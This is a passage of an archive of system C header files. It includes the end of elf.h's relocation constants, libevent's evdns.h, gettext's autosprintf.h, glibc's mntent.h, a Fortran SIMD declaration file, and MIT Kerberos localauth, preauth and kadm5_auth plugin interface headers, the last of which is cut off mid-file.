107 /* 64-bit offset in TLS block */ #define R_TILEGX_TLS_TPOFF64 108 /* 64-bit offset in static TLS block */ #define R_TILEGX_TLS_DTPMOD32 109 /* 32-bit ID of symbol's module */ #define R_TILEGX_TLS_DTPOFF32 110 /* 32-bit offset in TLS block */ #define R_TILEGX_TLS_TPOFF32 111 /* 32-bit offset in static TLS block */ #define R_TILEGX_TLS_GD_CALL 112 /* "jal" for TLS GD */ #define R_TILEGX_IMM8_X0_TLS_GD_ADD 113 /* X0 pipe "addi" for TLS GD */ #define R_TILEGX_IMM8_X1_TLS_GD_ADD 114 /* X1 pipe "addi" for TLS GD */ #define R_TILEGX_IMM8_Y0_TLS_GD_ADD 115 /* Y0 pipe "addi" for TLS GD */ #define R_TILEGX_IMM8_Y1_TLS_GD_ADD 116 /* Y1 pipe "addi" for TLS GD */ #define R_TILEGX_TLS_IE_LOAD 117 /* "ld_tls" for TLS IE */ #define R_TILEGX_IMM8_X0_TLS_ADD 118 /* X0 pipe "addi" for TLS GD/IE */ #define R_TILEGX_IMM8_X1_TLS_ADD 119 /* X1 pipe "addi" for TLS GD/IE */ #define R_TILEGX_IMM8_Y0_TLS_ADD 120 /* Y0 pipe "addi" for TLS GD/IE */ #define R_TILEGX_IMM8_Y1_TLS_ADD 121 /* Y1 pipe "addi" for TLS GD/IE */ #define R_TILEGX_GNU_VTINHERIT 128 /* GNU C++ vtable hierarchy */ #define R_TILEGX_GNU_VTENTRY 129 /* GNU C++ vtable member usage */ #define R_TILEGX_NUM 130 /* RISC-V ELF Flags */ #define EF_RISCV_RVC 0x0001 #define EF_RISCV_FLOAT_ABI 0x0006 #define EF_RISCV_FLOAT_ABI_SOFT 0x0000 #define EF_RISCV_FLOAT_ABI_SINGLE 0x0002 #define EF_RISCV_FLOAT_ABI_DOUBLE 0x0004 #define EF_RISCV_FLOAT_ABI_QUAD 0x0006 /* RISC-V relocations. */ #define R_RISCV_NONE 0 #define R_RISCV_32 1 #define R_RISCV_64 2 #define R_RISCV_RELATIVE 3 #define R_RISCV_COPY 4 #define R_RISCV_JUMP_SLOT 5 #define R_RISCV_TLS_DTPMOD32 6 #define R_RISCV_TLS_DTPMOD64 7 #define R_RISCV_TLS_DTPREL32 8 #define R_RISCV_TLS_DTPREL64 9 #define R_RISCV_TLS_TPREL32 10 #define R_RISCV_TLS_TPREL64 11 #define R_RISCV_BRANCH 16 #define R_RISCV_JAL 17 #define R_RISCV_CALL 18 #define R_RISCV_CALL_PLT 19 #define R_RISCV_GOT_HI20 20 #define R_RISCV_TLS_GOT_HI20 21 #define R_RISCV_TLS_GD_HI20 22 #define R_RISCV_PCREL_HI20 23 #define R_RISCV_PCREL_LO12_I 24 #define R_RISCV_PCREL_LO12_S 25 #define R_RISCV_HI20 26 #define R_RISCV_LO12_I 27 #define R_RISCV_LO12_S 28 #define R_RISCV_TPREL_HI20 29 #define R_RISCV_TPREL_LO12_I 30 #define R_RISCV_TPREL_LO12_S 31 #define R_RISCV_TPREL_ADD 32 #define R_RISCV_ADD8 33 #define R_RISCV_ADD16 34 #define R_RISCV_ADD32 35 #define R_RISCV_ADD64 36 #define R_RISCV_SUB8 37 #define R_RISCV_SUB16 38 #define R_RISCV_SUB32 39 #define R_RISCV_SUB64 40 #define R_RISCV_GNU_VTINHERIT 41 #define R_RISCV_GNU_VTENTRY 42 #define R_RISCV_ALIGN 43 #define R_RISCV_RVC_BRANCH 44 #define R_RISCV_RVC_JUMP 45 #define R_RISCV_RVC_LUI 46 #define R_RISCV_GPREL_I 47 #define R_RISCV_GPREL_S 48 #define R_RISCV_TPREL_I 49 #define R_RISCV_TPREL_S 50 #define R_RISCV_RELAX 51 #define R_RISCV_SUB6 52 #define R_RISCV_SET6 53 #define R_RISCV_SET8 54 #define R_RISCV_SET16 55 #define R_RISCV_SET32 56 #define R_RISCV_32_PCREL 57 #define R_RISCV_NUM 58 /* BPF specific declarations. */ #define R_BPF_NONE 0 /* No reloc */ #define R_BPF_64_64 1 #define R_BPF_64_32 10 /* Imagination Meta specific relocations. */ #define R_METAG_HIADDR16 0 #define R_METAG_LOADDR16 1 #define R_METAG_ADDR32 2 /* 32bit absolute address */ #define R_METAG_NONE 3 /* No reloc */ #define R_METAG_RELBRANCH 4 #define R_METAG_GETSETOFF 5 /* Backward compatability */ #define R_METAG_REG32OP1 6 #define R_METAG_REG32OP2 7 #define R_METAG_REG32OP3 8 #define R_METAG_REG16OP1 9 #define R_METAG_REG16OP2 10 #define R_METAG_REG16OP3 11 #define R_METAG_REG32OP4 12 #define R_METAG_HIOG 13 #define R_METAG_LOOG 14 #define R_METAG_REL8 15 #define R_METAG_REL16 16 /* GNU */ #define R_METAG_GNU_VTINHERIT 30 #define R_METAG_GNU_VTENTRY 31 /* PIC relocations */ #define R_METAG_HI16_GOTOFF 32 #define R_METAG_LO16_GOTOFF 33 #define R_METAG_GETSET_GOTOFF 34 #define R_METAG_GETSET_GOT 35 #define R_METAG_HI16_GOTPC 36 #define R_METAG_LO16_GOTPC 37 #define R_METAG_HI16_PLT 38 #define R_METAG_LO16_PLT 39 #define R_METAG_RELBRANCH_PLT 40 #define R_METAG_GOTOFF 41 #define R_METAG_PLT 42 #define R_METAG_COPY 43 #define R_METAG_JMP_SLOT 44 #define R_METAG_RELATIVE 45 #define R_METAG_GLOB_DAT 46 /* TLS relocations */ #define R_METAG_TLS_GD 47 #define R_METAG_TLS_LDM 48 #define R_METAG_TLS_LDO_HI16 49 #define R_METAG_TLS_LDO_LO16 50 #define R_METAG_TLS_LDO 51 #define R_METAG_TLS_IE 52 #define R_METAG_TLS_IENONPIC 53 #define R_METAG_TLS_IENONPIC_HI16 54 #define R_METAG_TLS_IENONPIC_LO16 55 #define R_METAG_TLS_TPOFF 56 #define R_METAG_TLS_DTPMOD 57 #define R_METAG_TLS_DTPOFF 58 #define R_METAG_TLS_LE 59 #define R_METAG_TLS_LE_HI16 60 #define R_METAG_TLS_LE_LO16 61 /* NDS32 relocations. */ #define R_NDS32_NONE 0 #define R_NDS32_32_RELA 20 #define R_NDS32_COPY 39 #define R_NDS32_GLOB_DAT 40 #define R_NDS32_JMP_SLOT 41 #define R_NDS32_RELATIVE 42 #define R_NDS32_TLS_TPOFF 102 #define R_NDS32_TLS_DESC 119 __END_DECLS #endif /* elf.h */ evdns.h 0000644 00000003743 15246445047 0006056 0 ustar 00 /* * Copyright (c) 2000-2007 Niels Provos <provos@citi.umich.edu> * Copyright (c) 2007-2012 Niels Provos and Nick Mathewson * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. The name of the author may not be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #ifndef EVENT1_EVDNS_H_INCLUDED_ #define EVENT1_EVDNS_H_INCLUDED_ /** @file evdns.h A dns subsystem for Libevent. The <evdns.h> header is deprecated in Libevent 2.0 and later; please use <event2/evdns.h> instead. Depending on what functionality you need, you may also want to include more of the other <event2/...> headers. */ #include <event.h> #include <event2/dns.h> #include <event2/dns_compat.h> #include <event2/dns_struct.h> #endif /* EVENT1_EVDNS_H_INCLUDED_ */ autosprintf.h 0000644 00000004517 15246445047 0007315 0 ustar 00 /* Class autosprintf - formatted output to an ostream. Copyright (C) 2002, 2012-2016 Free Software Foundation, Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. */ #ifndef _AUTOSPRINTF_H #define _AUTOSPRINTF_H /* This feature is available in gcc versions 2.5 and later. */ #if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 5) || __STRICT_ANSI__ # define _AUTOSPRINTF_ATTRIBUTE_FORMAT() /* empty */ #else /* The __-protected variants of 'format' and 'printf' attributes are accepted by gcc versions 2.6.4 (effectively 2.7) and later. */ # if __GNUC__ < 2 || (__GNUC__ == 2 && __GNUC_MINOR__ < 7) # define _AUTOSPRINTF_ATTRIBUTE_FORMAT() \ __attribute__ ((__format__ (__printf__, 2, 3))) # else # define _AUTOSPRINTF_ATTRIBUTE_FORMAT() \ __attribute__ ((format (printf, 2, 3))) # endif #endif #include <string> #include <iostream> namespace gnu { /* A temporary object, usually allocated on the stack, representing the result of an asprintf() call. */ class autosprintf { public: /* Constructor: takes a format string and the printf arguments. */ autosprintf (const char *format, ...) _AUTOSPRINTF_ATTRIBUTE_FORMAT(); /* Copy constructor. */ autosprintf (const autosprintf& src); autosprintf& operator = (autosprintf copy); /* Destructor: frees the temporarily allocated string. */ ~autosprintf (); /* Conversion to string. */ operator char * () const; operator std::string () const; /* Output to an ostream. */ friend inline std::ostream& operator<< (std::ostream& stream, const autosprintf& tmp) { stream << (tmp.str ? tmp.str : "(error in autosprintf)"); return stream; } private: char *str; }; } #endif /* _AUTOSPRINTF_H */ mntent.h 0000644 00000006436 15246445047 0006246 0 ustar 00 /* Utilities for reading/writing fstab, mtab, etc. Copyright (C) 1995-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ #ifndef _MNTENT_H #define _MNTENT_H 1 #include <features.h> #include <paths.h> #include <bits/types/FILE.h> /* File listing canonical interesting mount points. */ #define MNTTAB _PATH_MNTTAB /* Deprecated alias. */ /* File listing currently active mount points. */ #define MOUNTED _PATH_MOUNTED /* Deprecated alias. */ /* General filesystem types. */ #define MNTTYPE_IGNORE "ignore" /* Ignore this entry. */ #define MNTTYPE_NFS "nfs" /* Network file system. */ #define MNTTYPE_SWAP "swap" /* Swap device. */ /* Generic mount options. */ #define MNTOPT_DEFAULTS "defaults" /* Use all default options. */ #define MNTOPT_RO "ro" /* Read only. */ #define MNTOPT_RW "rw" /* Read/write. */ #define MNTOPT_SUID "suid" /* Set uid allowed. */ #define MNTOPT_NOSUID "nosuid" /* No set uid allowed. */ #define MNTOPT_NOAUTO "noauto" /* Do not auto mount. */ __BEGIN_DECLS /* Structure describing a mount table entry. */ struct mntent { char *mnt_fsname; /* Device or server for filesystem. */ char *mnt_dir; /* Directory mounted on. */ char *mnt_type; /* Type of filesystem: ufs, nfs, etc. */ char *mnt_opts; /* Comma-separated options for fs. */ int mnt_freq; /* Dump frequency (in days). */ int mnt_passno; /* Pass number for `fsck'. */ }; /* Prepare to begin reading and/or writing mount table entries from the beginning of FILE. MODE is as for `fopen'. */ extern FILE *setmntent (const char *__file, const char *__mode) __THROW; /* Read one mount table entry from STREAM. Returns a pointer to storage reused on the next call, or null for EOF or error (use feof/ferror to check). */ extern struct mntent *getmntent (FILE *__stream) __THROW; #ifdef __USE_MISC /* Reentrant version of the above function. */ extern struct mntent *getmntent_r (FILE *__restrict __stream, struct mntent *__restrict __result, char *__restrict __buffer, int __bufsize) __THROW; #endif /* Write the mount table entry described by MNT to STREAM. Return zero on success, nonzero on failure. */ extern int addmntent (FILE *__restrict __stream, const struct mntent *__restrict __mnt) __THROW; /* Close a stream opened with `setmntent'. */ extern int endmntent (FILE *__stream) __THROW; /* Search MNT->mnt_opts for an option matching OPT. Returns the address of the substring, or null if none found. */ extern char *hasmntopt (const struct mntent *__mnt, const char *__opt) __THROW; __END_DECLS #endif /* mntent.h */ finclude/math-vector-fortran.h 0000644 00000004512 15246445047 0012425 0 ustar 00 ! Platform-specific declarations of SIMD math functions for Fortran. -*- f90 -*- ! Copyright (C) 2019 Free Software Foundation, Inc. ! This file is part of the GNU C Library. ! ! The GNU C Library is free software; you can redistribute it and/or ! modify it under the terms of the GNU Lesser General Public ! License as published by the Free Software Foundation; either ! version 2.1 of the License, or (at your option) any later version. ! ! The GNU C Library is distributed in the hope that it will be useful, ! but WITHOUT ANY WARRANTY; without even the implied warranty of ! MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU ! Lesser General Public License for more details. ! ! You should have received a copy of the GNU Lesser General Public ! License along with the GNU C Library; if not, see ! <http://www.gnu.org/licenses/>. !GCC$ builtin (cos) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (cosf) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (sin) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (sinf) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (sincos) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (sincosf) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (log) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (logf) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (exp) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (expf) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (pow) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (powf) attributes simd (notinbranch) if('x86_64') !GCC$ builtin (cos) attributes simd (notinbranch) if('x32') !GCC$ builtin (cosf) attributes simd (notinbranch) if('x32') !GCC$ builtin (sin) attributes simd (notinbranch) if('x32') !GCC$ builtin (sinf) attributes simd (notinbranch) if('x32') !GCC$ builtin (sincos) attributes simd (notinbranch) if('x32') !GCC$ builtin (sincosf) attributes simd (notinbranch) if('x32') !GCC$ builtin (log) attributes simd (notinbranch) if('x32') !GCC$ builtin (logf) attributes simd (notinbranch) if('x32') !GCC$ builtin (exp) attributes simd (notinbranch) if('x32') !GCC$ builtin (expf) attributes simd (notinbranch) if('x32') !GCC$ builtin (pow) attributes simd (notinbranch) if('x32') !GCC$ builtin (powf) attributes simd (notinbranch) if('x32') krb5/localauth_plugin.h 0000644 00000013371 15246445047 0011132 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2013 by the Massachusetts Institute of Technology. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Declarations for localauth plugin module implementors. * * The localauth pluggable interface currently has only one supported major * version, which is 1. Major version 1 has a current minor version number of * 1. * * Localauth plugin modules should define a function named * localauth_<modulename>_initvt, matching the signature: * * krb5_error_code * localauth_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to krb5_localauth_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_LOCALAUTH_PLUGIN_H #define KRB5_LOCALAUTH_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> /* An abstract type for localauth module data. */ typedef struct krb5_localauth_moddata_st *krb5_localauth_moddata; /*** Method type declarations ***/ /* Optional: Initialize module data. */ typedef krb5_error_code (*krb5_localauth_init_fn)(krb5_context context, krb5_localauth_moddata *data); /* Optional: Release resources used by module data. */ typedef void (*krb5_localauth_fini_fn)(krb5_context context, krb5_localauth_moddata data); /* * Optional: Determine whether aname is authorized to log in as the local * account lname. Return 0 if aname is authorized, EPERM if aname is * authoritatively not authorized, KRB5_PLUGIN_NO_HANDLE if the module cannot * determine whether aname is authorized, and any other error code for a * serious failure to process the request. aname will be considered authorized * if at least one module returns 0 and all other modules return * KRB5_PLUGIN_NO_HANDLE. */ typedef krb5_error_code (*krb5_localauth_userok_fn)(krb5_context context, krb5_localauth_moddata data, krb5_const_principal aname, const char *lname); /* * Optional (mandatory if an2ln_types is set): Determine the local account name * corresponding to aname. Return 0 and set *lname_out if a mapping can be * determined; the contents of *lname_out will later be released with a call to * the module's free_string method. Return KRB5_LNAME_NOTRANS if no mapping * can be determined. Return any other error code for a serious failure to * process the request; this will halt the krb5_aname_to_localname operation. * * If the module's an2ln_types field is set, this method will only be invoked * when a profile "auth_to_local" value references one of the module's types. * type and residual will be set to the type and residual of the auth_to_local * value. * * If the module's an2ln_types field is not set but the an2ln method is * implemented, this method will be invoked independently of the profile's * auth_to_local settings, with type and residual set to NULL. If multiple * modules are registered with an2ln methods but no an2ln_types field, the * order of invocation is not defined, but all such modules will be consulted * before the built-in mechanisms are tried. */ typedef krb5_error_code (*krb5_localauth_an2ln_fn)(krb5_context context, krb5_localauth_moddata data, const char *type, const char *residual, krb5_const_principal aname, char **lname_out); /* * Optional (mandatory if an2ln is implemented): Release the memory returned by * an invocation of an2ln. */ typedef void (*krb5_localauth_free_string_fn)(krb5_context context, krb5_localauth_moddata data, char *str); /* localauth vtable for major version 1. */ typedef struct krb5_localauth_vtable_st { const char *name; /* Mandatory: name of module. */ const char **an2ln_types; /* Optional: uppercase auth_to_local types */ krb5_localauth_init_fn init; krb5_localauth_fini_fn fini; krb5_localauth_userok_fn userok; krb5_localauth_an2ln_fn an2ln; krb5_localauth_free_string_fn free_string; /* Minor version 1 ends here. */ } *krb5_localauth_vtable; #endif /* KRB5_LOCALAUTH_PLUGIN_H */ krb5/preauth_plugin.h 0000644 00000003356 15246445047 0010630 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2012 by the Massachusetts Institute of Technology. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ /* This header includes the clpreauth and kdcpreauth interface declarations, * for backward compatibility and convenience. */ #ifndef KRB5_PREAUTH_PLUGIN_H #define KRB5_PREAUTH_PLUGIN_H #include <krb5/clpreauth_plugin.h> #include <krb5/kdcpreauth_plugin.h> #endif /* KRB5_PREAUTH_PLUGIN_H */ krb5/kadm5_auth_plugin.h 0000644 00000030302 15246445047 0011171 0 ustar 00 /* -*- mode: c; c-basic-offset: 4; indent-tabs-mode: nil -*- */ /* * Copyright (C) 2017 by the Massachusetts Institute of Technology. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in * the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE * COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED * OF THE POSSIBILITY OF SUCH DAMAGE. */ /* * Declarations for kadm5_auth plugin module implementors. * * The kadm5_auth pluggable interface currently has only one supported major * version, which is 1. Major version 1 has a current minor version number of * 1. * * kadm5_auth plugin modules should define a function named * kadm5_auth_<modulename>_initvt, matching the signature: * * krb5_error_code * kadm5_auth_modname_initvt(krb5_context context, int maj_ver, int min_ver, * krb5_plugin_vtable vtable); * * The initvt function should: * * - Check that the supplied maj_ver number is supported by the module, or * return KRB5_PLUGIN_VER_NOTSUPP if it is not. * * - Cast the vtable pointer as appropriate for maj_ver: * maj_ver == 1: Cast to krb5_kadm5_auth_vtable * * - Initialize the methods of the vtable, stopping as appropriate for the * supplied min_ver. Optional methods may be left uninitialized. * * Memory for the vtable is allocated by the caller, not by the module. */ #ifndef KRB5_KADM5_AUTH_PLUGIN_H #define KRB5_KADM5_AUTH_PLUGIN_H #include <krb5/krb5.h> #include <krb5/plugin.h> /* An abstract type for kadm5_auth module data. */ typedef struct kadm5_auth_moddata_st *kadm5_auth_moddata; /* * A module can optionally include <kadm5/admin.h> to inspect principal or * policy records from requests that add or modify principals or policies. * Note that fields of principal and policy structures are only valid if the * corresponding bit is set in the accompanying mask parameter. */ struct _kadm5_principal_ent_t; struct _kadm5_policy_ent_t; /* * A module can optionally generate restrictions when checking permissions for * adding or modifying a principal entry. Restriction fields will only be * honored if the corresponding mask bit is set. The operable mask bits are * defined in <kadmin/admin.h> and are: * * - KADM5_ATTRIBUTES for require_attrs, forbid_attrs * - KADM5_POLICY for policy * - KADM5_POLICY_CLR to require that policy be unset * - KADM5_PRINC_EXPIRE_TIME for princ_lifetime * - KADM5_PW_EXPIRATION for pw_lifetime * - KADM5_MAX_LIFE for max_life * - KADM5_MAX_RLIFE for max_renewable_life */ struct kadm5_auth_restrictions { long mask; krb5_flags require_attrs; krb5_flags forbid_attrs; krb5_deltat princ_lifetime; krb5_deltat pw_lifetime; krb5_deltat max_life; krb5_deltat max_renewable_life; char *policy; }; /*** Method type declarations ***/ /* * Optional: Initialize module data. acl_file is the realm's configured ACL * file, or NULL if none was configured. Return 0 on success, * KRB5_PLUGIN_NO_HANDLE if the module is inoperable (due to configuration, for * example), and any other error code to abort kadmind startup. Optionally set * *data_out to a module data object to be passed to future calls. */ typedef krb5_error_code (*kadm5_auth_init_fn)(krb5_context context, const char *acl_file, kadm5_auth_moddata *data_out); /* Optional: Release resources used by module data. */ typedef void (*kadm5_auth_fini_fn)(krb5_context context, kadm5_auth_moddata data); /* * Each check method below should return 0 to explicitly authorize the request, * KRB5_PLUGIN_NO_HANDLE to neither authorize nor deny the request, and any * other error code (such as EPERM) to explicitly deny the request. If a check * method is not defined, the module will neither authorize nor deny the * request. A request succeeds if at least one kadm5_auth module explicitly * authorizes the request and none of the modules explicitly deny it. */ /* Optional: authorize an add-principal operation, and optionally generate * restrictions. */ typedef krb5_error_code (*kadm5_auth_addprinc_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target, const struct _kadm5_principal_ent_t *ent, long mask, struct kadm5_auth_restrictions **rs_out); /* Optional: authorize a modify-principal operation, and optionally generate * restrictions. */ typedef krb5_error_code (*kadm5_auth_modprinc_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target, const struct _kadm5_principal_ent_t *ent, long mask, struct kadm5_auth_restrictions **rs_out); /* Optional: authorize a set-string operation. */ typedef krb5_error_code (*kadm5_auth_setstr_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target, const char *key, const char *value); /* Optional: authorize a change-password operation. */ typedef krb5_error_code (*kadm5_auth_cpw_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize a randomize-keys operation. */ typedef krb5_error_code (*kadm5_auth_chrand_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize a set-key operation. */ typedef krb5_error_code (*kadm5_auth_setkey_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize a purgekeys operation. */ typedef krb5_error_code (*kadm5_auth_purgekeys_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize a delete-principal operation. */ typedef krb5_error_code (*kadm5_auth_delprinc_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize a rename-principal operation. */ typedef krb5_error_code (*kadm5_auth_renprinc_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal src, krb5_const_principal dest); /* Optional: authorize a get-principal operation. */ typedef krb5_error_code (*kadm5_auth_getprinc_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize a get-strings operation. */ typedef krb5_error_code (*kadm5_auth_getstrs_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize an extract-keys operation. */ typedef krb5_error_code (*kadm5_auth_extract_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, krb5_const_principal target); /* Optional: authorize a list-principals operation. */ typedef krb5_error_code (*kadm5_auth_listprincs_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client); /* Optional: authorize an add-policy operation. */ typedef krb5_error_code (*kadm5_auth_addpol_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, const char *policy, const struct _kadm5_policy_ent_t *ent, long mask); /* Optional: authorize a modify-policy operation. */ typedef krb5_error_code (*kadm5_auth_modpol_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, const char *policy, const struct _kadm5_policy_ent_t *ent, long mask); /* Optional: authorize a delete-policy operation. */ typedef krb5_error_code (*kadm5_auth_delpol_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, const char *policy); /* Optional: authorize a get-policy operation. client_policy is the client * principal's policy name, or NULL if it does not have one. */ typedef krb5_error_code (*kadm5_auth_getpol_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client, const char *policy, const char *client_policy); /* Optional: authorize a list-policies operation. */ typedef krb5_error_code (*kadm5_auth_listpols_fn)(krb5_context context, kadm5_auth_moddata data, krb5_const_principal client); /* Optional: authorize an iprop operation. */ typedef krb5_error_code 